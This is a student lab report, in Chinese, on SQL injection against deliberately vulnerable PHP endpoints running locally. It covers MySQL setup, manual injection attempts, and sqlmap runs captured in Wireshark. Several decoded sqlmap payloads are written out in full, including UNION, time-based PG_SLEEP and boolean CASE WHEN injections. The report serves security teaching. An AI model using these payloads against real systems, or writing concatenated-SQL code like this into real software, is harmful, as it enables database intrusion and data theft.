网络对抗原理实验一


班级:1518011

姓名:于沂渭

学号:151801100005


一.安装mysql

1.0首先查看是否安装mysql

sudo netstat -tap | grep mysql

没有结果,则安装MySQL

1.1安装MySQL

sudo apt-get install mysql-server
sudo apt isntall mysql-client
sudo apt install libmysqlclient-dev

安装过程中出错

dpkg:错误:无法新建文件 '/var/lib/dpkg/info/format-new': 没有那个文件或目录
E: Sub-process /usr/bin/dpkg returned an error code (2)

解决

逐级查找目录,发现没有info目录,mkdir解决

1.2检查安装结果

sudo netstat -tap | grep mysql
网络对抗原理实验一_第1张图片
image.png

PS:在安装过程需要设置数据库密码(在键盘输入数字时不要在右边的1234567890上按数字,那里的0代表ins,要在键盘上面按1234567890)


二,创建搭建 mysql 数据库

建立数据库 test ,数据表 student ,包含 id 、 name 、 score 三列

2.1.登陆mysql数据库

mysql -u root -p 

-u 表示选择登陆的用户名, -p 表示登陆的用户密码,上面命令输入之后会提示输入密码,此时输入密码就可以登录到mysql

网络对抗原理实验一_第2张图片
image.png

2.2创建数据库

创建数据库

mysql> create database test;`
网络对抗原理实验一_第3张图片
image.png

使用数据库

use test
网络对抗原理实验一_第4张图片
图片.png

创建表

网络对抗原理实验一_第5张图片
图片.png

插入数据

图片.png

3. 编写带有 sql 注入漏洞的接口程序

3.1根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名和分数。


网络对抗原理实验一_第6张图片
图片.png

3.2根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果是否为空。如输入学号,展示是否有该学生存在。


图片.png

3.3根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果是否为空展示在两段随机内容之间


网络对抗原理实验一_第7张图片
image.png

3.4根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果。如如输入学号,查询是否有学生存在,然后输出固定内容
网络对抗原理实验一_第8张图片
image.png

3.6据输入入的参数值,拼接SQL语句句并执行行行,更更新数据库。如输入入学号和分数,将对应学生生的分数更更新
网络对抗原理实验一_第9张图片
图片.png
图片.png
网络对抗原理实验一_第10张图片
图片.png

4. 针对上述各个应用接口,手工修改请求参数,尝试各种 SQL 注入的攻击向量,和正常访问的对照组一起,观察结果并记录。

4.1 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名和分数。


网络对抗原理实验一_第11张图片
image.png

网络对抗原理实验一_第12张图片
image.png

正常访问仅显示一条数据,而通过MySQL查询语句拼接可显示全部数据,此处可进行 Union 注入

4.2 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果是否为空。如输入学号,展示是否有该学生存在。


网络对抗原理实验一_第13张图片
image.png

通过拼接MySQL查询语句,可查询到数据表中全部数据的情况,由此可推出数据表中的数据量有3个

4.3 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果是否为空展示在两段随机内容之间。

注入方法类似与上条,可以查询到数据库在数据量

4.4 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果的条件表达式结果,并将结果展示在两段随机内容之间。如入学号,展示该学生分数是否大于 60 。

注入方法类似与上条,因为输出内容为布尔型,可使用布尔注入

4.5 根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果。如如输入学号,查询是否有学生存在,然后输出固定内容。

注入方法类似与上条,因为输出内容固定,可使用基于时间的注入方法

5. 针对上述各个应用接口, 用 Sqlmap 尝试各种注入方式,并用 Wireshark 抓包,记录每次的目标、SQL 命令行、结果(包括出结果的过程、和最终的输出)、和抓包文件。

sql安装


图片.png
5.1 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名和分数。

使用Sqlmap注入

网络对抗原理实验一_第14张图片
图片.png

根据返回结果可判断此接口可通过 boolean-based、time-based、UNION query 方法注入
然后,使用 Wireshark 抓包,过滤规则:
ip.src eq 127.0.0.1 and http.request.method == GET
网络对抗原理实验一_第15张图片
图片.png

选择其中一个攻击向量 urldecode
/student/search.php?id=001%28%22%2C%2C%28%29.%29%28%27
decode 后
/student/search.php?id=001(",,().)('

5.2 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果是否为空。如输入学号,展示是否有该学生存在。

使用 Sqlmap 注入

网络对抗原理实验一_第16张图片
image.png

由此可以判断无法使用NULL值注入
image.png

最终可判断此接口可通过 boolean-based、time-based 方法注入,较上一个接口缺少了 Union query 方法,因为此接口返回值为布尔型返回值
然后,使用 Wireshark 抓包,过滤规则: ip.src eq 127.0.0.1 and http.request.method == GET
网络对抗原理实验一_第17张图片
image.png

选择其中一个攻击向量 urldecode
"/student/search.phpid=-1273%20UNION%20ALL%20SELECT%20CONCAT%280x716a627071%2C0x4558737052456d564a6b%2C0x7170717071%29%2CNULL%2CNULL--%20LpWE"
decode 后
"/student/search.php?id=-1273 UNION ALL SELECT CONCAT(0x716a627071,0x4558737052456d564a6b,0x7170717071),NULL,NULL-- LpWE"
Sqlmap 尝试 Union query 注入,但没有成功。

5.3 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果是否为空展示在两段随机内容之间。

使用 Sqlmap 注入

网络对抗原理实验一_第18张图片
image.png

可判断此接口可通过 boolean-based、time-based 方法注入,较上一个接口缺少了 Union query 方法,因为此接口返回值为布尔型返回值
然后,使用 Wireshark 抓包,过滤规则: ip.src eq 127.0.0.1 and http.request.method == GET
网络对抗原理实验一_第19张图片
image.png

选择其中一个攻击向量 urldecode
"GET /student/search.php?id=15180110007%20ORDER%20BY%201--%20VPuP HTTP/1.1\r\n"
decode 后
"GET /student/search.php?id=15180110007 ORDER BY 1-- VPuP HTTP/1.1\r\n"
Sqlmap 尝试 ORDER BY 语句用于根据指定的列对结果集进行排序。

5.4 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果的条件表达式结果,并将结果展示在两段随机内容之间。如入学号,展示该学生分数是否大于 60 。

与上个接口结果类似,不作赘述

5.5 根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果。如如输入学号,查询是否有学生存在,然后输出固定内容。

使用 Sqlmap 注入

网络对抗原理实验一_第20张图片
image.png

可判断此接口仅可通过 time-based 方法注入,较上一个接口缺少了 boolean-based、Union query 方法,因为此接口返回值为固定值,仅能通过时延来判断注入结果
然后,使用 Wireshark 抓包,过滤规则: ip.src eq 127.0.0.1 and http.request.method == GET
网络对抗原理实验一_第21张图片
image.png

选择其中一个攻击向量 urldecode
"GET /student/search.php?id=15180110007%29%3BSELECT%20PG_SLEEP%285%29-- HTTP/1.1\r\n"
decode 后
"GET /student/search.php?id=15180110007);SELECT PG_SLEEP(5)-- HTTP/1.1\r\n"
Sqlmap 尝试使用 SLEEP 语句通过时延来判断注入结果。

5.6 根据输入的参数值,拼接SQL查询语句并执行,更更新数据库。如输入入学号和分数,将对应学生生的分数更更新。

使用 Sqlmap 注入

网络对抗原理实验一_第22张图片
image.png

可判断此接口仅可通过 boolean-based 方法注入,较上一个接口缺少了 time-based、Union query 方法
然后,使用 Wireshark 抓包,过滤规则: ip.src eq 127.0.0.1 and http.request.method == GET
网络对抗原理实验一_第23张图片
image.png

选择其中一个攻击向量 urldecode
"GET/student/update.phpid=%28SELECT%20%28CASE%20WHEN%20%2890%3D61%29%20THEN%206895%20ELSE%206895%2A%28SELECT%206895%20FROM%20INFORMATION_SCHEMA.PLUGINS%29%20END%29%29&score=88%27%2C%20name%20%3D%20%27Richard HTTP/1.1\r\n"
decode 后
"GET /student/update.php?id=(SELECT (CASE WHEN (90=61) THEN 6895 ELSE 6895*(SELECT 6895 FROM INFORMATION_SCHEMA.PLUGINS) END))&score=88', name = 'Richard HTTP/1.1\r\n"
Sqlmap 尝试使用 SELECT 语句注入。

6. 分析抓包文件,了解攻击向量,体会各种注入技术的原理。并回到 4 步骤中手动尝试。

抓包文件已放在附件

你可能感兴趣的:(网络对抗原理实验一)